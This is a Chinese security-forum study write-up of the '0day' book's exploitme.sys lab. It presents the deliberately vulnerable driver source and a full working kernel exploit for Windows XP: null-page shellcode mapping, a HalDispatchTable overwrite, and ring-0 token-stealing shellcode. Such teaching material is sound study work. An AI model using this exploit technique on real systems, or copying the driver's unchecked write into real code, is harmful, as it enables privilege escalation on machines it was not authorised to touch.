0day书中内核漏洞exploitme.sys的学习记录
本文为看雪论坛优秀文章
看雪论坛作者ID:1900
一
前言
二
漏洞程序
#include <ntifs.h> #define DEVICE_NAME L"\\Device\\ExploitMe"#define DEVICE_LINK L"\\DosDevices\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0) VOID DriverUnload(IN PDRIVER_OBJECT driverObject);NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp);NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp); NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath){ NTSTATUS status = STATUS_SUCCESS; PDEVICE_OBJECT pDeviceObj = NULL; UNICODE_STRING uDeviceName = RTL_CONSTANT_STRING(DEVICE_NAME); UNICODE_STRING uSymbolinkName = RTL_CONSTANT_STRING(DEVICE_LINK); ULONG i = 0; // 创建设备 status = IoCreateDevice(driverObject, NULL, &uDeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObj); if (!NT_SUCCESS(status)) { DbgPrint("IoCreateDevice Error 0x%X\r\n", status); goto exit; } // 设置数据交互方式 // pDeviceObj->Flags |= DO_BUFFERED_IO; // 缓冲区方式读写 // pDeviceObj->Flags |= DO_DIRECT_IO; // 直接方式读写 // 创建符号链接 status = IoCreateSymbolicLink(&uSymbolinkName, &uDeviceName); if (!NT_SUCCESS(status)) { DbgPrint("IoCreateSymbolicLink Error 0x%X\r\n", status); goto exit; } for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { driverObject->MajorFunction[i] = DispatchCommon; } driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoCtrl; DbgPrint("驱动加载成功\r\n"); exit: driverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS;} NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp){ NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST; PIO_STACK_LOCATION pIoStack = NULL; ULONG uIoControlCode = 0, uInformation = 0, uInputLength = 0, uOutputLength = 0; PVOID pInputBuffer = NULL, pOutputBuffer = NULL; // 获取设备栈 pIoStack = IoGetCurrentIrpStackLocation(pIrp); // 获取输入缓冲区长度与输入缓冲区 uInputLength = pIoStack->Parameters.DeviceIoControl.InputBufferLength; pInputBuffer = pIoStack->Parameters.DeviceIoControl.Type3InputBuffer; // 获取输出缓冲区长度与输出缓冲区 uOutputLength = pIoStack->Parameters.DeviceIoControl.OutputBufferLength; pOutputBuffer = pIrp->UserBuffer; // 获取控制码 uIoControlCode = pIoStack->Parameters.DeviceIoControl.IoControlCode; // 根据控制码执行操作 switch(uIoControlCode) { case CTL_EXPLOIT_ME: { DbgPrint("CTL_EXPLOIT_ME"); if (uInputLength >= 4 && uOutputLength >= 4) { // 将输入地址中的内容赋值到输出地址中 *(PULONG)pOutputBuffer = *(PULONG)pInputBuffer; uInformation = sizeof(ULONG); status = STATUS_SUCCESS; } break; } default: { break; } } pIrp->IoStatus.Information = uInformation; pIrp->IoStatus.Status = status; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS;} NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp){ pIrp->IoStatus.Status = STATUS_SUCCESS; pIrp->IoStatus.Information = 0; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS;} VOID DriverUnload(IN PDRIVER_OBJECT driverObject){ UNICODE_STRING uSymbolLinkName = RTL_CONSTANT_STRING(DEVICE_LINK); if (driverObject->DeviceObject) { IoDeleteSymbolicLink(&uSymbolLinkName); IoDeleteDevice(driverObject->DeviceObject); } DbgPrint("驱动卸载完成\r\n");}#include <cstdio>#include <cstdlib>#include <windows.h> #define LINK_NAME "\\\\.\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)#define INPUT_BUFFER_LENGTH 4#define OUT_BUFFER_LENGTH 4 void ShowError(PCHAR msg); int main(){ HANDLE hDevice = NULL; DWORD dwInput = 1900; DWORD dwOutput = 0; DWORD dwReturnLength = 0; hDevice = CreateFile(LINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDevice == INVALID_HANDLE_VALUE) { ShowError("CreateFile"); goto exit; } printf("修改前的dwOutput:%d\n", dwOutput); if (!DeviceIoControl(hDevice, CTL_EXPLOIT_ME, &dwInput, INPUT_BUFFER_LENGTH, &dwOutput, OUT_BUFFER_LENGTH, &dwReturnLength, NULL)) { ShowError("DeviceIoControl"); goto exit; } printf("修改后的dwOutput:%d\n", dwOutput); exit: system("pause"); return 0;} void ShowError(PCHAR msg){ printf("%s Error %d\n", msg, GetLastError());}三
漏洞利用
1、在0地址申请内存,并写入要执行的指令
NTSTATUS NtAllocateVirtualMemory( __in HANDLE ProcessHandle, __inout PVOID *BaseAddress, __in ULONG_PTR ZeroBits, __inout PSIZE_T RegionSize, __in ULONG AllocationType, __in ULONG Protect );2、找到函数HalQuerySystemInformation函数地址的保存地址
typedef struct { ULONG Version; pHalQuerySystemInformation HalQuerySystemInformation; pHalSetSystemInformation HalSetSystemInformation; pHalQueryBusSlots HalQueryBusSlots; ULONG Spare1; pHalExamineMBR HalExamineMBR; pHalIoReadPartitionTable HalIoReadPartitionTable; pHalIoSetPartitionInformation HalIoSetPartitionInformation; pHalIoWritePartitionTable HalIoWritePartitionTable; pHalHandlerForBus HalReferenceHandlerForBus; pHalReferenceBusHandler HalReferenceBusHandler; pHalReferenceBusHandler HalDereferenceBusHandler; pHalInitPnpDriver HalInitPnpDriver; pHalInitPowerManagement HalInitPowerManagement; pHalGetDmaAdapter HalGetDmaAdapter; pHalGetInterruptTranslator HalGetInterruptTranslator; pHalStartMirroring HalStartMirroring; pHalEndMirroring HalEndMirroring; pHalMirrorPhysicalMemory HalMirrorPhysicalMemory; pHalEndOfBoot HalEndOfBoot; pHalMirrorVerify HalMirrorVerify; pHalGetAcpiTable HalGetCachedAcpiTable; pHalSetPciErrorHandlerCallback HalSetPciErrorHandlerCallback; #if defined(_IA64_) pHalGetErrorCapList HalGetErrorCapList; pHalInjectError HalInjectError;#endif } HAL_DISPATCH, *PHAL_DISPATCH;NTSTATUS WINAPI ZwQuerySystemInformation( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength);typedef enum _SYSTEM_INFORMATION_CLASS { SystemInformationClassMin = 0, SystemBasicInformation = 0, SystemProcessInformation = 5, SystemProcessesAndThreadsInformation = 5, SystemModuleInformation = 11, SystemExceptionInformation = 33, SystemKernelDebuggerInformation = 35,} SYSTEM_INFORMATION_CLASS;typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; /* Length of module name not including the path, this field contains valid value only for NTOSKRNL module */ USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256];} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1];} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall IMP_SYSCALL LdrLoadDll(IN PWSTR DllPath OPTIONAL, IN PULONG DllCharacteristics OPTIONAL, IN PUNICODE_STRING DllName, OUT PVOID *DllHandle);3、调用HalQuerySystemInformation函数
四
ShellCode的提权原理
kd> dt _KPCRnt!_KPCR +0x000 NtTib : _NT_TIB +0x01c SelfPcr : Ptr32 _KPCR +0x020 Prcb : Ptr32 _KPRCB +0x024 Irql : UChar +0x028 IRR : Uint4B +0x02c IrrActive : Uint4B +0x030 IDR : Uint4B +0x034 KdVersionBlock : Ptr32 Void +0x038 IDT : Ptr32 _KIDTENTRY +0x03c GDT : Ptr32 _KGDTENTRY +0x040 TSS : Ptr32 _KTSS +0x044 MajorVersion : Uint2B +0x046 MinorVersion : Uint2B +0x048 SetMember : Uint4B +0x04c StallScaleFactor : Uint4B +0x050 DebugActive : UChar +0x051 Number : UChar +0x052 Spare0 : UChar +0x053 SecondLevelCacheAssociativity : UChar +0x054 VdmAlert : Uint4B +0x058 KernelReserved : [14] Uint4B +0x090 SecondLevelCacheSize : Uint4B +0x094 HalReserved : [16] Uint4B +0x0d4 InterruptMode : Uint4B +0x0d8 Spare1 : UChar +0x0dc KernelReserved2 : [17] Uint4B +0x120 PrcbData : _KPRCBkd> dt _KPRCBntdll!_KPRCB +0x000 MinorVersion : Uint2B +0x002 MajorVersion : Uint2B +0x004 CurrentThread : Ptr32 _KTHREAD +0x008 NextThread : Ptr32 _KTHREAD +0x00c IdleThread : Ptr32 _KTHREAD +0x010 Number : Charkd> dt _ETHREADntdll!_ETHREAD +0x000 Tcb : _KTHREAD +0x1c0 CreateTime : _LARGE_INTEGER +0x1c0 NestedFaultCount : Pos 0, 2 Bits +0x1c0 ApcNeeded : Pos 2, 1 Bit +0x1c8 ExitTime : _LARGE_INTEGER +0x1c8 LpcReplyChain : _LIST_ENTRY +0x1c8 KeyedWaitChain : _LIST_ENTRY +0x1d0 ExitStatus : Int4B +0x1d0 OfsChain : Ptr32 Void +0x1d4 PostBlockList : _LIST_ENTRY +0x1dc TerminationPort : Ptr32 _TERMINATION_PORT +0x1dc ReaperLink : Ptr32 _ETHREAD +0x1dc KeyedWaitValue : Ptr32 Void +0x1e0 ActiveTimerListLock : Uint4B +0x1e4 ActiveTimerListHead : _LIST_ENTRY +0x1ec Cid : _CLIENT_ID +0x1f4 LpcReplySemaphore : _KSEMAPHORE +0x1f4 KeyedWaitSemaphore : _KSEMAPHORE +0x208 LpcReplyMessage : Ptr32 Void +0x208 LpcWaitingOnPort : Ptr32 Void +0x20c ImpersonationInfo : Ptr32 _PS_IMPERSONATION_INFORMATION +0x210 IrpList : _LIST_ENTRY +0x218 TopLevelIrp : Uint4B +0x21c DeviceToVerify : Ptr32 _DEVICE_OBJECT +0x220 ThreadsProcess : Ptr32 _EPROCESS +0x224 StartAddress : Ptr32 Void +0x228 Win32StartAddress : Ptr32 Voidkd> dt _EPROCESSntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x06c ProcessLock : _EX_PUSH_LOCK +0x070 CreateTime : _LARGE_INTEGER +0x078 ExitTime : _LARGE_INTEGER +0x080 RundownProtect : _EX_RUNDOWN_REF +0x084 UniqueProcessId : Ptr32 Void +0x088 ActiveProcessLinks : _LIST_ENTRY +0x090 QuotaUsage : [3] Uint4B +0x09c QuotaPeak : [3] Uint4B +0x0a8 CommitCharge : Uint4B +0x0ac PeakVirtualSize : Uint4B +0x0b0 VirtualSize : Uint4B +0x0b4 SessionProcessLinks : _LIST_ENTRY +0x0bc DebugPort : Ptr32 Void +0x0c0 ExceptionPort : Ptr32 Void +0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE +0x0c8 Token : _EX_FAST_REF +0x0cc WorkingSetLock : _FAST_MUTEX// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。// #include <cstdio>#include <cstdlib>#include <windows.h>#include "ntapi.h"#pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)#define INPUT_BUFFER_LENGTH 4#define OUT_BUFFER_LENGTH 4#define PAGE_SIZE 0x1000#define KERNEL_NAME_LENGTH 0X0D void ShowError(PCHAR msg, NTSTATUS status);NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength); BOOL g_bIsExecute = FALSE; int main(){ NTSTATUS status = STATUS_SUCCESS; HANDLE hDevice = NULL; DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE; PVOID ShellCodeAddress = NULL; PSYSTEM_MODULE_INFORMATION pModuleInformation = NULL; DWORD dwImageBase = 0; PVOID pMappedBase = NULL; UCHAR szImageName[KERNEL_NAME_LENGTH] = { 0 }; UNICODE_STRING uDllName; PVOID pHalDispatchTable = NULL, pXHalQuerySystemInformation = NULL; DWORD dwDllCharacteristics = DONT_RESOLVE_DLL_REFERENCES; // 获得0地址的内存 ShellCodeAddress = (PVOID)sizeof(ULONG); status = NtAllocateVirtualMemory(NtCurrentProcess(), &ShellCodeAddress, 0, &ShellCodeSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (!NT_SUCCESS(status)) { printf("NtAllocateVirtualMemory Error 0x%X\n", status); goto exit; } // 将ShellCode写到申请的0地址空间中 RtlMoveMemory(ShellCodeAddress, (PVOID)Ring0ShellCode, ShellCodeSize); // 此时dwReturnLength是0,所以函数会由于长度为0执行失败 // 然后系统会在第四个参数指定的地址保存需要的内存大小 status = ZwQuerySystemInformation(SystemModuleInformation, pModuleInformation, dwReturnLength, &dwReturnLength); if (status != STATUS_INFO_LENGTH_MISMATCH) { ShowError("ZwQuerySystemInformation", status); goto exit; } // 按页大小对齐 dwReturnLength = (dwReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG); pModuleInformation = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, dwReturnLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!pModuleInformation) { printf("VirtualAlloc Error"); goto exit; } status = ZwQuerySystemInformation(SystemModuleInformation, pModuleInformation, dwReturnLength, &dwReturnLength); if (!NT_SUCCESS(status)) { ShowError("ZwQuerySystemInformation", status); goto exit; } // 模块加载的基地址 dwImageBase = (DWORD)(pModuleInformation->Module[0].Base); // 获取模块名 RtlMoveMemory(szImageName, (PVOID)(pModuleInformation->Module[0].ImageName + pModuleInformation->Module[0].PathLength), KERNEL_NAME_LENGTH); // 转换为UNICODE_STRING类型 RtlCreateUnicodeStringFromAsciiz(&uDllName, (PUCHAR)szImageName); status = (NTSTATUS)LdrLoadDll(NULL, &dwDllCharacteristics, &uDllName, &pMappedBase); if (!NT_SUCCESS(status)) { ShowError("LdrLoadDll", status); goto exit; } // 获取内核HalDispatchTable函数表地址 pHalDispatchTable = GetProcAddress((HMODULE)pMappedBase, "HalDispatchTable"); if (pHalDispatchTable == NULL) { printf("GetProcAddress Error\n"); goto exit; } pHalDispatchTable = (PVOID)((DWORD)pHalDispatchTable - (DWORD)pMappedBase + dwImageBase); pXHalQuerySystemInformation = (PVOID)((DWORD)pHalDispatchTable + sizeof(ULONG)); // 打开驱动设备 hDevice = CreateFile(LINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDevice == INVALID_HANDLE_VALUE) { printf("CreateFile Error"); goto exit; } DWORD dwInput = 0; // 与驱动设备进行交互 if (!DeviceIoControl(hDevice, CTL_EXPLOIT_ME, &dwInput, INPUT_BUFFER_LENGTH, pXHalQuerySystemInformation, OUT_BUFFER_LENGTH, &dwReturnLength, NULL)) { printf("DeviceIoControl Error"); goto exit; } status = NtQueryIntervalProfile(ProfileTotalIssues, NULL); if (!NT_SUCCESS(status)) { ShowError("NtQueryIntervalProfile", status); goto exit; } if (g_bIsExecute) printf("Ring0 代码执行完成\n"); exit: if (pModuleInformation) VirtualFree(pModuleInformation, dwReturnLength, MEM_DECOMMIT | MEM_RELEASE); if (hDevice) NtClose(hDevice); if (pMappedBase) LdrUnloadDll(pMappedBase); system("pause"); return 0;} NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength){ // 关闭页保护 __asm { cli mov eax, cr0 and eax, ~0x10000 mov cr0, eax } __asm { // 取当前线程 mov eax, 0xFFDFF124 mov eax, [eax] // 取线程对应的EPROCESS mov esi, [eax + 0x220] mov eax, esisearchXp: mov eax, [eax + 0x88] sub eax, 0x88 mov edx, [eax + 0x84] cmp edx, 0x4 jne searchXp mov eax, [eax + 0xC8] mov [esi + 0xC8], eax } // 开起页保护 __asm { mov eax, cr0 or eax, 0x10000 mov cr0, eax sti } g_bIsExecute = TRUE;} void ShowError(PCHAR msg, NTSTATUS status){ printf("%s Error 0x%X\n", msg, status);}五
运行结果
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!